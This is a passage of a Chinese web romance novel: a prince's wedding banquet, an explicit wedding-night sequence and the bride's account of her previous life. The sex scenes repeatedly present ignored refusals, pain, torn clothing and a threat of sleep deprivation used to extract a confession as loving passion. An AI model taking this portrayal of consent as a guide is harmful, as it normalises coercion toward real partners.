江承北端来酒,一干而尽,“再次祝贺楚王爷能娶到楚王妃这位美娇娘。”
“不必。”
江曜不欲与江承北虚伪,他最是懂如何捅江承北的心窝,笑说:“三皇子妃亦是美娇娘,三殿下艳福不浅。”
闻言,江承北真双目恨意满满。
江曜却转身便走。
每一桌走完,陪酒陪了一圈,喝的江曜是脚下微微虚浮。
想着该是时候了,他打算回屋寻姬时语。
舒老太爷却在这时窜出,一把攀住江曜的肩膀,“江曜啊,就是你小子娶走了我的小孙女!”
阁老房平红着脸喝多了,抬手指过去:“快去拦着舒老,不然后果不好……”
首辅魏召忙与另一位六部官员去拽舒老太爷,可舒老太爷抓着江曜不放,指着江曜便大喊他的名讳。
“江曜,你身为楚王,却娶走我的小孙女。我们舒家,还有忠义侯府,从来不涉足与皇室,而今因你破例,我是恼火的,我恨不得拆散你们二人,让我小孙女改嫁旁人!”
舒老太爷醉醺醺的,他这太保做久了,说话便也文绉绉,改不了训斥人的性子。
首辅魏召最清楚老师性子,一上火便难以熄灭,忙拉着劝。
“舒老,这是在楚王府,还是大好的日子,您少说两句。”
“不行,我偏要说了!”
舒老太爷一脸硬气,他冷哼,在官场浸濡几十年的气势十分迫人。
“我若不说,往后楚王府欺负我小孙女还得了?我们语姐儿嫁入楚王府是她心甘情愿,但有些事我非得跟楚王说道个明白。”
江曜还未醉,他接下舒老太爷的话,诚恳表态。
“舒老太爷,我知你心系阿锁的安危。我便在此,以我江曜这条命起誓,此生绝不会负阿锁。”
江曜五指并拢,起了最毒的誓言,“若有违背,五雷轰顶,死后尸骨无存,神魂陨灭,永世不得超生。”
这道毒誓如重锤砸在众人心坎,饶是喝醉了的舒老太爷亦听得一清二楚,没再闹腾。
“好,好,这就是你说的。”
舒老太爷朝魏昭身上栽倒,最后嘟囔了一句,“楚王,我们会看你所为。”
舒家是罢休了。
在场之中再无人敢悖言乱辞,只是有与楚王府关系交好的大人,打趣问老楚王如何看待江曜起誓。
老楚王笑呵呵摸把胡子。
“儿孙自有儿孙福呐!他喜欢楚王妃,我江家这么多年竟蹦出个钟情种,好啊!不愧是我的孙子。”
老楚王还颇为自傲。
江曜喝罢了一身酒气,婚宴直至天色将昏才近结束。
他这个新郎官终得空闲,能重回婚房。
心猿意马之下,江曜脚步轻快,奔回寻阳院。
“阿锁!”
推开屋门,江曜满心欢喜,狐狸眼一扫阴霾,喊着心心切切的姑娘。
然而满目大红,却不见心爱的小姑娘。
江曜忽的升起一股阴沉,可眼眸一转,便将一道柔美的身影蜷缩于床榻之中。
她裸_露出半截瓷白脚腕,睡的正香。
“原来是累的睡着了。”
江曜走到近处,伸出手触碰了姬时语的腰肢,不过今日她身穿朱红喜服,手下金线缠人,摸着有些疼痛。
他一动,床中的小姑娘便睁开眼来,睫
毛还湿漉漉的,似将睡醒。
姬时语见是江曜来了,爱娇地抬起手臂,十分依赖地圈住他的脖子。
眼睛还未全睁开,便已俏生生地喊了他。
“哥哥……”
江曜喜欢她喜欢到不行,被她这一声呼喊,是直勾着她起身。
揽住她的芊芊细腰,他垂首亲上她的唇瓣。
一股粉白之气在两人之间荡开,是胭脂的味道。
江曜嗦着她的唇,轻声哄着她张开口,让自己亲到里头去。
姬时语被猛地亲醒,回过神时,江曜的手已抵在她的衣襟处。
他微凉的手指捏得生紧,像要撕扯她的衣裳。
“不要!”
姬时语刚启唇,便被江曜捉到空隙,闯/入了她。
他吻的深切,哪里也没放过她。
晕晕的,姬时语又想起自己那件价值千金的朱红喜服。
她赶忙咬住江曜的唇,止住他继续索取自己。
“为何?”
江曜不满,他没亲够,薄唇又贴上她娇嫩的唇瓣,轻轻抿住她的。
这回却没再用力咬,只是磨蹭。
“阿锁……”
“哥哥,不准你撕坏我的衣服,我很喜欢这件婚服。”
“那阿锁,给我,嗯?”
姬时语被他染了欲念的低哑嗓音惹得脸红,她的手捉住他的,微微拉开身子。
“阿锁,你脱给我看。”
江曜抚动她的腰窝,一个劲磨她,忍了又忍,等了又等,片刻之后,便急不可耐极了。
“不行,你太磨蹭,还是我来扯。”
说罢,他好似又要上手撕扯她的衣裳。
姬时语赶忙环手臂抱住衣襟,她用脚踹上江曜,推搡着他不许靠近。
“你身上臭熏熏的,先去盥洗,不然不许上我床榻。”
江曜狐狸眼一眯,有些冷,“这不是我的床?”
“现在它是我的,我说了算。”
姬时语哼笑。
“你等着。”
江曜的手攥住姬时语作乱的脚腕,目光在她脚踝洁白的肌肤流连几眼。
复而他起身,留下一句后便去了湢室。
是把人劝走了,姬时语缓缓舒气。
转而她忆起自己还偷藏着本子,方才是抱着看睡过去的,顿感如临大敌。
慌不择路摸出床头的本子,姬时语丢在床底,踢踹到最里头。
“该没事了。”
姬时语自言自语,端坐于床头,候着江曜。
一会儿的功夫,江曜便沐浴归来。
他褪去喜服,只身穿一件单薄的亵衣。
那顶镶东珠的玉金发冠取下,一头乌发散开,面容无俦,人更如清冷的谪仙。
只是行走之间,姬时语无意间瞥到他的衣上,眼眸一滑落,太贴身的亵衣,一旦走动,便十足显眼。
他、他、他怎么就,这么快就……
只一眼,酡红染红姬时语的脸颊,是羞的不敢多看。
江曜并未察觉,只是单膝跪在床头,摸上她的脸。
他狐狸眼微垂,“阿锁,该你了。”
姬时语手忙脚乱地爬下床,避开他的身子,拖着喜服便往浴房奔去。
江曜喊了萍亭和萍柳去伺候姬时语。
小姑娘在浴桶之中沐浴,今日一整日并未出府,身上要清洗的,最多的还是脸蛋。
“王妃,这喜服奴婢等便收拾下去了。”
“好。”
卸下胭脂妆容,姬时语起身擦干净水。
她穿好朱红色的小衣与亵裤,眼瞅着跟前的衣裙犯了难。
萍亭与萍柳已抱着喜服退下,无人帮衬她穿戴。
衣裙共五件,套上身繁多。
姬时语取来一件大红薄纱外衫,披上身后便从浴房而出,回到内室。
这个新婚之夜,无人会来打扰两人。
姬时语挑开珠帘,一双龙凤呈祥的蜡烛在她手边的烛台烧得正旺。
“哥哥。”
江曜挑眼望来。
小姑娘肌肤如雪,青丝如上好的绸缎,裹住她曼妙的身躯。
檀口微启,有兰气轻吐。
她只穿了一件小衣,雪白藕段似得手臂透过那层红纱,怎么也遮不住、盖不住。
是只勾走他这个人。
“怎么穿了这件?”
偏偏姬时语挑起笑眼,眼波流转,勾缠他,“那哥哥喜不喜欢我这一身?”
江曜的喘息不自觉沉重。
“阿锁,过来。”
江曜喊她。
姬时语鞋袜未穿,便在江曜直勾勾的目光之下,玉白脚趾踩在柔软的红软垫。
红色映出她的雪白,诱人的很。
她一步步,走到了他跟前。
江曜抬手将她抱入怀中。
没了粉白胭脂香气,江曜嗅到姬时语身上原有的玉兰花香,美得他不住喘气。
他揉着她的腰,再度低头吻上她的唇。
生猛急促。
亲吻之余,他带着她一起喘气,微微呼一口气,他又堵住她的唇。
“阿锁,故意的,嗯?”
知道他喜欢她什么模样,偏穿的要多不多,要少不多,满足他有些恶劣的心思。
是不是?
江曜狠狠亲着姬时语,吮咬之后,小姑娘的唇瓣瞬间便红肿起来。
“你,你轻些呀!”
“我还没用力呢,乖,把舌头伸出来,让我亲亲。”
“嗯……”
姬时语微微启唇,乖顺地应了他的话,江曜的手指末入她的乌发,顺着她的头头往下,将她的脑袋靠的很近。
身躯紧贴,姬时语便迅速察觉江曜起伏的喘息,与亵衣之下他的不平静。
姬时语的手不知道放哪儿才好了。
只是一个劲的喊他。
“哥哥、哥哥……”
江曜揉着她的后背,让怀中的温香软玉贴近自己。
她的很软,他的胸膛硬朗,怀中的姬时语却抖了抖。
“很怕?”
“谁……谁怕了?我才不怕哩。”
像很不知足,江曜的嘴又寻到她的唇,贴着她亲。
边亲唇边的喘气声愈发的加重,按耐难忍。
“新婚之夜,阿锁可知要做什么?”
“我,我……我知道。”
“上回在别庄,我可是应了你,那次不动你的。阿锁欠了我好多回啊,连债带子钱,今日我要讨回来。”
“你,你这根本是无赖,我凭何欠你啊!”
姬时语脸上热气弥漫,她一犟嘴,江曜便牵着她的手,摸过来。
让她触碰自己,亲身感/触。
这一下,姬时语真没忍住,叫喊出声。
想挣脱手,可江曜不给,偏要她用柔软的手心帮他缓解。
江曜牵着她手上上下下,感/触他的,唇间的喘息荡在姬时语的耳边。
他万分隐忍着说道:“嗯……我忍了好久,阿锁,你感受到了吗,我有多想你啊。”
“所以……你想怎样我?”
“撕拉”一声,江曜已大力撕破了姬时语的亵裤。
七零八碎的红色破布凌乱落地,映入姬时语的眼,她竟松了口气。
还好她未知先卜,换掉了自己新婚的那身喜服。
如此,撕坏的不过是一条亵裤。
“阿锁,会帮我的吧?”
江曜那张清冷的脸近在咫尺,墨瞳的眼瞳不断翻涌着汹涌的爱潮。
那只想要吞噬她的猛兽,彻底的苏醒了。
他不想放过的,何止是亵裤。
下一个,便是她的小衣。
“我,我应你的,不过。”
姬时语靥生红晕,连雪白的手臂也爬满粉意,她环住自己,做了最后的抵挡。
“哥哥……你先把蜡烛熄了。”
“不要,我要看着你,清清楚楚的。”
他好喜欢看她害羞。
雪白染了粉,是他做的。
好满足。
江曜垂头,故意使坏咬住她颤抖的指尖。
他那双狐狸眼抬起时,眼里是不容抗拒的霸道。
“你得负责,要满足我呢。”【你现在阅读的是 】
130-140
第131章
明亮的蜡烛燃烧着,姬时语耳边清晰地听见了烛火嘀嗒落下的响动。
与之一起的,还有江曜沉重的喘/息。
身下是柔软的绸缎,花生、果子早便由丫鬟们清扫出了屋。
仰躺着,她并未生出不适的感觉。
只是屋内太过敞亮了,她看得清楚江曜挺拔的鼻梁,更得见他紧锁于自己时,眼底那股黑沉沉的波涛。
两人目光交缠,小姑娘似无措般凝望着江曜没挪眼,眼眸水灵,还生出一许茫然。
江曜轻笑一声,就着她的注视,自顾自褪去衣衫。
“阿锁的身子好僵硬啊。”
江曜探手,缓缓抚动她的腰窝。
她何止身躯紧绷,连双手也不由自主地抓紧他伸过来的手臂,攥住不放。
“放松点,就这么怕我?”
江曜想轻拍她哄两下,奈何话音落下,姬时语莹白的小脸亦是绷住。
她一双猫瞳睨着他,不语,眼波微微颤抖。
半晌,姬时语寻回自己的声音,“不、不会很疼吧?”
“怕疼的话,便闭上眼。”
姬时语不敢再多看,吓得闭合起眼睛。
可眼若闭上,那种随之而来的恐慌,只会平白偌大的空茫。
江曜单手捉住姬时语的一双手腕,将她的手高举过头顶。
这般之下,她不得不挺起背脊,将自己主动地送到他的唇边。
柔软的小姑娘贴上他的胸/膛,姬时语惶恐着扭动身子。
她看不见,又摸不着江曜,不安缠绕在心头,使得她不断喊他。
“哥哥、哥哥……”
“我在。”
江曜体内的血液沸腾着,他俯下身,将头颅凑近去,用亲吻来一遍又一遍安抚、愉悦她。
他又将姬时语往上一抓,她被迫弓起了身子,玉/桃贴近他的唇。
江曜再度吻上了她的。
姬时语嘴唇翕动,开开合合,好半天也没能吐出一个字。
再多的话语皆化作几声吐息。
“疼吗?”
江曜张嘴用牙齿咬她,姬时语瞬间“啊”地喊道:“不要咬我,好疼。”
她睁开双眸,朱红床榻之中,她一双手被江曜锁住扼制在发顶,眼眸氤氲着微红的水汽,是真被欺负的厉害了。
江曜倾身而上,擒住她娇嫩的朱唇,趁着她吐息微喘,趁机尽数闯/入。
姬时语的呼吸微乱,脑子里只有一个念头。
可不能再让江曜咬自己了,会咬坏的……
然而江曜这回换了一处地儿,咬上她的唇,甘甜与玉兰香气
席卷入他口中,勾得他几度沉沦。
他吻得勾动姬时语,她亦是忘去其他。
以至于江曜的指腹刚朝下滑落,她的唇边便刹那溢出一声惊叫。
红晕在姬时语脸颊之上蔓延,隐隐有浸透全身的兆头。
“别,别……”
“莫要害怕。”
“可是……”
姬时语咬住唇瓣,她如何能不害怕?
上回在暗室的那一遭,不难想若同江曜一道沉沦,她将要面对的是何事。
“不要害怕。”
江曜啄啄她的唇角,耐心地诱哄道:“不是已想好了吗?”
“那不一样的。”
“有何不一样?”
“你……你听我说,我们好生说说,再……”
当那明艳的花绽放其雪白的花蕊,粉艳花瓣终是绚丽。
寒冷的冬日便要过去,迎来明媚的春日。
姬时语小声嘟哝,脸皮泛着惹人怜爱的红_潮。
可江曜已是等这个春日太久,他只愿在降临的那一刻,得到心中迫切的全部。
再脆弱的小花,也该在他手中折断了。
“上回是合不拢,这回又是分不开……阿锁乖,再分开些。”
迫使令姬时语高仰起脖颈,她的玉脖拉长,粉色并未染上她的脖颈,江曜很是不满。
可是还没等他亲上去,姬时语已是绷不出哭出声来。
好几颗泪珠滚落,她眼红红的,委屈可怜。
“不/要,你住手!”
小姑娘捶打他的肩胛,想要推开他,但她绵软的掌心只碰到他结实的臂膀,手指掐进去,没了力气。
姬时语呜咽地落着眼泪,是真/疼/到了。
江曜贴过来,吮住姬时语紧绷的颈部,本还僵硬着的脖颈,松下柔软起来。
他在她身上抬首,又凑近来,含住她微微红肿的唇瓣,亲吻着她哄道。
“阿锁,娘子,你最好了,嗯?”
“可是,可是……你怎么这样!”
姬时语还想控诉,唇间的缝隙已被江曜寻得时机钻进闯/入,再多的话都变为了低低的唔声。
吻了许久,姬时语眼角挂着泪,这回再未掉落下来。
江曜缠着她的唇,摩挲几下,声音沙哑的厉害,他又问:“还疼不疼?”
“嗯……嗯,好像还好。”
姬时语眼角挂泪,脸颊羞涩,说出这句话无异于在相邀身上的少年。
她难以自持,撇头便避开江曜深邃情_动的眼。
“疼的话你就抓着我。”
江曜抱着她的一双手,缠上自己的脖子。
他的身子一动,肩后几缕乌黑的发便滚落于肩胛之前,姬时语的眼随之望过去。
他洁白的胸/膛透过发丝,一晃一晃的,有些晃眼。
“江曜……”
姬时语又哭了,还没哭两声,话音变了调。
从未有人见过,那株生长于悬崖边石缝间的兰花草,因着云顶山间的寒冷栗栗危惧。
这一日,正等待着、历经着一场暴雨初降。
寒气逼人,茎腕几度弯折,但风吹席而来,潮湿骤雨铺天盖地,沥沥淅淅。
是不甘示弱,冷风裹挟着它,挺立傲然,雷雨终究还是未歇,浸湿悬崖的岩石峭壁,濡渍至深。
“呜呜呜……”
姬时语情不自禁,用手勾住江曜的脖子,将他拉近了些。
想他给予她更多。
姬时语不自觉仰首,映入眼中的便是寻阳院中那顶赤红水云纹床幔。
其上有着金线绣花并蒂莲与水间的花鸟嬉戏,金光熠熠夺目,她眼眸微微疼。
糅杂着娇/吟的嗔声与几滴泪珠,齐齐滚落,沾湿她的青丝。
这回不是疼哭的。
她的尾调上挑,如同上好的甜腻喂进江曜的口中。
恍惚间她的一只手臂,耷拉下滑江曜的肩,耳旁传来江曜几道喘/息缠/绵的呢喃。
“阿锁。”
“阿锁。”
江曜那双狐狸眼柔情缱绻,诱惑着她,同他肩并肩的,走至一处。
两人到哪儿也不要分开。
下至阿鼻地狱,上至极乐的八千世界。
床幔绫罗的流苏彩带缠在姬时语的指尖,缎带的每一下都让她手指发颤,纠缠的更紧。
也不知过了多久,江曜寻上她的唇,亲着喘着,平复几许,还是深深的亲吻她。
他问她:“喜欢吗?”
“哥哥。”
“喜不喜欢?”
他固执地刨根问底。
还故意在这种时候,止住了。
无奈,姬时语只能应:“喜欢……”
姬时语说不出话,她眼角的泪才落下,眼中的意_乱_情/迷未褪。
耳尖微颤,她主动仰头,探唇吻上了他的。
她还想亲他。
江曜便顺从了她。
这一亲,两人便又是难分难舍,突然之间,有什么骤然一变。
姬时语眼瞳瞪大,掐着江曜肩膀的手指一下收紧。
“你讨厌,不准你再胡来!”
“阿锁,再纵容我一回,好不好?”
“不好,不好!”
姬时语小脸通红,叫喊出声:“上回你也骗我,说很快、很快,谁知道有了
第一回,便有第二回,这回又是骗我?”
“我不会骗阿锁。”
江曜勾着她柔软的下唇,叼着轻咬了两下。
他墨瞳黑沉,好似深渊,要将姬时语整个人吞噬。
“阿锁,信我?”
“骗子!江曜……”
姬时语的话音再度转了个弯,好似得到她的准许,少年
第二回的亢/奋了。
姬时语的五根手指不禁掐/住江曜,她手指皆染了朱红蔻丹,映衬在江曜洁白结实的肩胛骨上,分外瞩目。
“阿锁好甜呐,亲了你就舍不得放开。想要每日每夜都和阿锁这样,不管是这一面还是翻一面,过后我再抱着你睡觉,你会应我的吧?”
“呜呜呜……”
“我知道的,阿锁也喜欢的,只是不肯说,口是心非又害羞,不若你不会这样的哭。”
江曜轻轻柔柔地啄姬时语的唇,他一旦兴/奋起来,便难以停手。
“阿锁哭得也很好听。”
他觊觎良久的小花儿,终于还是折在了他手中。
不过这又有何妨呢?
他会寻个土地肥沃的地方,将他的花儿栽植,好生呵护。
终其一生,都在他掌心生长、开花。
心满意足的采摘下后,江曜抬手宠溺地理了理姬时语沾湿的发,吻上她湿漉漉的猫瞳。
黏腻的唇在她白软的肌肤流连,仍然意犹未尽。
“我还没尽兴怎么办?还想疼爱阿锁。”
“不要了……”
姬时语知晓以两人这般境地,他连放也不肯放出来。
只要自己再惹火他一分,他便会忍不住再生出亢/奋。
怀中的小姑娘已是满脸酡红,睫毛还沾着水花,眨巴着眼眸,便是在委屈。
方才一度是很好,可姬时语还是倍感疲倦。
她身子本就曾经柔弱,即便养好了八分,身子骨也不如江曜结实。
“好累啊,哥哥……我想去沐浴。”
姬时语勾
住江曜的脖子,唇角一软,便亲昵地撒娇,“你是最疼我的那个人,今夜,就放过我呀。”
“那你张嘴,再让我亲一口。”
姬时语乖乖亲上他的嘴,照着他话去做,江曜凶/狠的吻她。
两人喘息不住交换,是彼此互相舍不得分开的意味。
动_情的从来都不是江曜一人。
姬时语也很喜欢他这样。
凶/猛偏还又万分珍爱的对待她,想让她欢欣雀跃,又忍不住多疼爱她。
他的爱意总因克制不得全然释放,但姬时语能明白他的心意。
因此姬时语回应着江曜的索吻,允他左右摆/弄,随心所欲。
江曜好满足,耳鬓厮/磨之下,他是抑制不住地渴望了更多。
不够。
还不够。
林中蛰伏的猛兽一朝苏醒,可没那么容易再陷入冬眠。
姬时语意识到这一点时,已然太迟了。
一整个冬日,都被猛兽在暗中盯梢,苦苦等候多日,为着春暖花开,将最香甜可口的猎物叼入口中。
他已做足准备。
“我抱你去沐浴。”
“我还没换衣裳……”
“不换了。”
江曜搂抱着姬时语起身,两人是未着/片缕。
他取下榻边的外衫,笼罩包裹于两人身上,便如此抱她往湢室而去。
烛火映照之下,姬时语径直扑上江曜的肩头,一把将头埋住。
姬时语闷声哼道:“你不许去喊人。”
江曜笑得胸/膛震动。
“你笑什么?”
姬时语一拍过去,手指便抓出几道红_痕,直落于他洁白的胸/膛。
“又难为情了?”
“才不想让外人知道,不许你喊萍亭和萍柳。你抱我去,服侍我沐浴,我不管,我只要哥哥伺候我。”
“好,我伺候你。”
姬时语跟无骨似得,抱住江曜的脖子,她一贴过来,才惊察哪里不对劲。
小姑娘怕掉下去,只能用腿/圈/住他的腰。
江曜笑声朗朗,泠泠玉石般的嗓音染着几分哑音,他揽住她的腰,甫一起身。
让她更为确信一件事。
两人从方才到这会儿,就还没真正的分开过,因此江曜抱着她去沐浴,姬时语当即不情愿了。
她哪里受得了这个?
“江曜!你怎么能这样?”
姬时语满脸飞红,又叫出声,“你放我下来,这太羞了,你给我出去!”
“不要,说好的我伺候你,不管是房中还是沐浴,阿锁,你定会满意的。”
“我何时说要这等伺候了?强词夺理,不讲道理!”
江曜一笑而过,那双狐狸眼闪动着浓郁的惑人,他抱起姬时语便往浴房大步而去。
姬时语伏在他肩头,无可奈何地面红耳赤。
他、他、他简直是不要脸。
连走去浴房这点路途,也不放过她,还不是欺负她?
分明就是欺负狠了!
第132章
江曜抱着姬时语绕过一柄黄花梨剔红嵌宝八屏风,径直来到浴桶之边。
姬时语面色娇艳,伏趴在他脖间,柔顺的发丝随着他跨步入水,轻缓地朝江曜微凉的鬓角贴上。
“江曜……”
姬时语轻轻唤他,眉眼沾湿红润的羞色。
“不,不能够了,你放开我。”
“可是阿锁很好,直到现在,你还没有昏过去呢?”
“呜呜呜,可是你真的……”
江曜啄啄她的唇瓣,小姑娘是累得发丝湿润,连回吻他的力气也无,软绵绵的只想趴下。
这已是
第三回了。
江曜的个头本就出奇的惊人,姬时语很是费力,头回她按捺不住地哭出声,便是因为这个缘由。
后来是被江曜挑/逗,引得忘却了不适,反而多生了心怀渴望,想要更多。
直到精疲力尽。
温水没过两人,好似被温热浸泡,全身舒展开来,不适之感在这一刻消弭大半。
姬时语叮咛一声,是觉得浑身酸软好受不少。
“一直陪着我,再多一点,好不好?”
江曜狐狸眼之中的暗色丝毫不减,他嗓音低沉沙哑。
呼吸起伏之间,全染上意/乱的情愫。
便要勾着她一同,哪里也不分开。
“不准你再来!”
姬时语呜呜地唤出声,她摇摆着小脸,沾湿的发丝在耳垂晃动。
一划而过,那几缕乌黑的发,很快便滑落于水中。
透过浅浅波澜,她白中透粉,微漾水面映照而出的赤红屏风绣花,宛如便盛放在她玉白的肌肤。
水波荡漾,她莹白之上的一点红润若隐若现。
江曜的眼更热了。
哑着声,江曜轻笑探手握住她的,吐出一道微乱的气息。
姬时语立即哼出声:“不要。”
江曜提起她的腰,便是从水里立起,姬时语还未回过神,忽的又被他放开双手。
“啊!”
姬时语的脸骤然大变。
江曜不管不顾,蹭上她柔软的脸颊,他眼眸暗沉,两人再度挨近,是连一丝缝隙也不曾留。
“阿锁,同我说说前世的那些事。”
姬时语还在讶然之中未走出,闻言,小脸忽的雪白,也不知是疼的,还是被吓得。
“为何要问那件事?”
“我看见了你写的东西。”
江曜自是留意到了她的僵硬,又亲她的唇,“阿锁,我要知晓那时发生了何事,你我已是夫妻,你不能欺瞒我。”
“我……”
江曜放出狠话,“不若,我今夜一整晚,都不让你歇息睡觉。”
“你!不要脸!”
姬时语被他气得满脸通红,猫瞳瞪过来,她又扑上前咬上江曜冷硬的下颌。
“唔。”
江曜一记闷哼。
见他薄寡冷淡的眼因自己的一咬情_动涌/欲,姬时语面红的不行,是再不敢动弹。
江曜还在逼问,就着两人紧/贴,他有心作_弄她。
“说不说?”
“这样突然放我下来,又欺负我,你要我怎么说话嘛?”
姬时语眼中蓄起漓漓泪珠,是五分舒服,可也有五分委屈。
被江曜宠爱的日子太多,难免便持宠而娇,人也是一点小事儿便生出娇气。
她的眼泪要落不落,羞怯粉面、泫然欲泣的模样,却是带动江曜满心的恶劣之心四起。
“我又欺负你了?”
“你这还不是?过分!”
姬时语连挣扎的力气也提不起来,她的手指软绵,只能掐在江曜的肩胛,扭着好几下。
“那好,我得让阿锁舒舒服服的,不能惹你生气啊。”
江曜牵住她的手心,执起便往自己肩颈处带,他洁白的胸/肌一览无余,便将她带去那里。
姬时语霎时羞赧,“你做什么?”
江曜不置可否地答:“你不是喜欢我的身/体?”
轻轻柔柔的,揉/搓抚/摇,再缓缓的摩挲。
他的宽肩窄腰,劲劲的,真如她书中所写,有劲时,便是人如公狗。
那根蜿蜒崎岖的筋顺着薄/肌而下,会因江曜的举动微鼓,再被姬时语戳/摁着凹下一个窝。
手心柔软又鲜活的感觉,触目惊心。
姬时语压抑不住自己勾起的唇角,越翘越高。
他领着她,做这些姬时语脑中想过几道,却因羞赧没多尝试的事。
姬时语眼眸眨动,为手心之下的江曜。
薄/肌有些柔软,又微微柔滑,姬时语不得言语那种美妙。
在这一刻冬日的银火花树、火花漫天,绚烂绽放。
眼见着木桶之中的温水浮动,江曜靠在木桶沿,搂抱着温香软玉。
微昂首见她在自己额顶上方,玉脸发烫,吐息渐郁。
是真有几分受不住。
缓和许久,姬时语好受一点,断断续续。
她轻哼两声。
方罢她咬唇,猫瞳水光潋滟,“哥哥,我真的好困呐。”
听她有意撒娇,江曜心动意/乱,那股喜欢她的情意全身心的泛滥,充斥于他整个人。
“那你乖乖告诉我,上一世,你都对我做了何事? ”
江曜眸子微暗,他目光专注地凝望着姬时语。
姬时语的双目微高于他,这个姿势之下,他是主动自发地俯首称臣。
因而,姬时语的心一松。
埋藏于心底的那些往事辛秘,便在此刻全盘道出。
“上辈子我体弱多病,曾久居侯府不外出,姐姐嫁去于家日日以泪洗面,我心中难安,便几度去于家寻见姐姐。恰好那时,你经由柳眉从凉州找回,认祖归宗。外人不知你和柳眉的关系,只以为你因救命之恩爱慕于三皇子妃,恐夺他人妻。”
水面平静下来,江曜只是静静听她讲述往事。
“你也知我喜欢写话本,有你这事一出,便写下一桩缠绵悱恻的故事,将话本兜卖给了回心阁。”
姬时语朱唇微启:“我没料到的是,坊间班主们竟争相扮相,将你和柳眉之事闹的人尽皆知,也为你招来了祸端。”
“江承北便对我心生恨意?”
“是。”
姬时语忆起前世种种,说的苦涩,“我从于家回府,路经过回心阁,见到了奄奄一息的你,被雪掩埋,近半人之高,那便是我见你的最后一面。”
“你识得我?”
“不识得。”
“那你怎知道那是我?”
“事后我爹说了你的事,我才想起,那就是你。”
姬时语泪水涟涟,眼眶微红:“若我多留心一眼,早些弄清楚你的事,兴许便能救下你,你的命便不会绝于那一年了。”
这辈子的江曜并无前世记忆,可她是活生生的人。
记忆犹新,那日的雪厚重绵长,遮蔽她的眼。
江曜身下的血蜿蜒流淌,赤红刺目。
她忘不掉。
“阿锁因此而满心愧疚于我,这辈子初遇见我,你便笃定定要好好对待我,可是?”
“是,我很愧对你。”
即使这一世江曜完好无损站在她跟前,她亦弥补于他,两人还因相爱结为夫妻。
可是姬时语仍旧记着,起初她救他,是因欠他前世的债。
她想要还。
“那阿锁,是愧疚我多,还是爱我多?”
江曜竟说的咬牙切齿,狐狸眼阴郁暗冷。
可惜姬时语还沉浸在自个儿的回忆中,丝毫未察觉他的异样。
湢室暖灯荜拨,她的脸雪白,低声颔首,犹豫片刻,便不假思索。
“该是愧疚多的。”
刹那间,江曜发了狠。
褫夺她的腰肢,大力之下,将人猛力扯入怀抱。
他咬上姬时语的唇,狠狠碾压而过,是亲咬破了皮。
姬时语不断惊呼,他亦是不松口。
木桶之中的水愈发的凉,水波激荡溢出木桶,蜿蜒的水流尽数零落在地,泅出的一道不浅的水渍。
任谁也不会想到,那柄黄花梨剔红嵌宝八屏风也被瓢泼淋湿,浸晕开花。
湿濡沾透,映出内室的烛光。
姬时语朱红的指甲掐入江曜的肩头,她的嗓子隐隐沙哑。
江曜太喜欢她,喜欢到离不开她,她根本无力承受。
再一睁眼,双目已是水光粼粼。
江曜气到发疯。
姬时语吐出那等让他不顺的话,她竟是在新婚夜亲口而道。
她不爱他,因生愧疚。
怎么能?
“不爱我,阿锁为何纵容我做这样的事,不爱我,你还搂着我不撒手,哭惨了也容许我为所欲为?”
江曜恶狠狠咬住她的侧脖颈,唇齿用尽。
“阿锁,你再告诉我,你爱还是不爱?”
“爱……”
“阿锁乖,再说多些。”
“哥哥。”
“说我爱听的话,让我多疼你些。”
“哥哥……我爱你。”
姬时语的话语连不起来,但江曜还是听清楚了。
她说,她爱他。
得到她的这句话,江曜心满意足。
真像一头发狂的野兽,在她一句话落下后,平复安息。
江曜轻柔含住她的唇,黑沉翻涌。
他说:“我也爱你。”
姬时语昏昏沉沉之际,手臂微感冰凉,再一垂首,本没过两人身的水面,已去了大半。
稍一起凉意,她脖上便爬起细小的疙瘩,冻得人心头沉沉。
“好困呐……也好累。”
“我抱你回屋睡觉。”
闹了有些久,凉掉的水着实不应久待,恐将小姑娘身子弄病。
江曜便起身迈出浴桶,他取来屏风上悬挂的巾帕,为两人擦拭水渍。
姬时语由着他摆/弄,收拾妥当之后,江曜便抱着姬时语再度折回房中。
新房凌乱的被褥早已被换上一床新的,那根龙凤红烛在这时几近烧尽。
微弱的光,照出新房满目的大喜朱红之色。
一晚上三回的嬉闹,姬时语已是浑身瘫软,再提不起半点劲,江曜便也不再劳累烦扰她。
夜深人静,他拥着她卷起衾褥同被入眠。
“哥哥。”
姬时语探出手来,她想摸索江曜,江曜却转瞬握住她细软的手。
小姑娘寻着热源蹭过来,娇声甜腻。
“方才我说愧疚,那只是我这辈子生的第一个念头,我想偿还你,便对你好。”
姬时语记不得自己说了何话,她连眼皮子都在打颤,只顾着嘟哝无心之言,呓语低呶。
“可后来,我是真的喜欢你,想对你好,不是愧疚的。”
迷迷糊糊的,姬时语已分不清自己在何处。
她只记得身边有一道温热身躯,嗅着熟悉的干净气息,备感安心。
那人是江曜。
她最喜欢的人。
下意识的,她便朝江曜靠去,软软地窝进他的怀里。
江曜的一颗孤寂的心,已被怀中娇俏的小姑娘填补充满。
她说出这样的话,让他如何能不爱她?
她看不见时,他眼里唯有爱意与情_潮。
“睡吧。”
亲啄她的发顶,江曜沉声哄她。
他亦很爱、很爱她。
第133章
这一觉,姬时语睡到日上三竿,方才苏醒。
人是醒来了,可眼皮子沉重得抬不起来,身上又酸痛不已。
微微一动双腿,姬时语骤然便察觉自己腿间还夹着一条腿。
江曜的双臂皆缠在她腰上,脑袋便蹭在她的发顶。
不时有自他鼻息间喷洒而出的,温热的气息钻入她的发丝。
烫得人经不住颤抖。
他自后拥着她,两人紧紧相贴,寸步不分。
姬时语只觉得自己如同被一条滑腻的蛇,自腰间缠绕而上。
全身俱是被裹满了,缠缠绵绵,不得动弹。
“嗯……”
姬时语再一挪腿,想分开这羞人的姿势。
然而她稍一偏,腰上那只手臂猛地收紧,箍住她朝后靠去。
她再度贴上了江曜结实的臂弯。
“阿锁,想去哪儿?”
独属于江曜冷冷清清的嗓音落在耳旁,他凑过来咬住了姬时语的耳郭,舌尖细细吮过她如玉微红的耳垂。
那一小颗玉珠被他径直咬在了嘴里。
只是这么一厮磨,姬时语便迅速察觉,身后少年热气滚滚,抵着她赫然不对劲的大。
“江曜!”
两人已有过肌肤之亲,姬时语哪里不懂他又是为何?
与昨夜相当,江曜睡醒又起了意,想拉着她于床榻打架。
“阿锁,你忍心我憋着?若是火气过旺,忍了又忍,憋坏了如何?”
“会坏掉你也给我忍着。”
姬时语恼火万分,捉住腰间那只手便捶打的要他放手,“昨夜还不够你闹的?我纵着你几回了,我好累的,不许再折腾我。”
“好阿锁。”
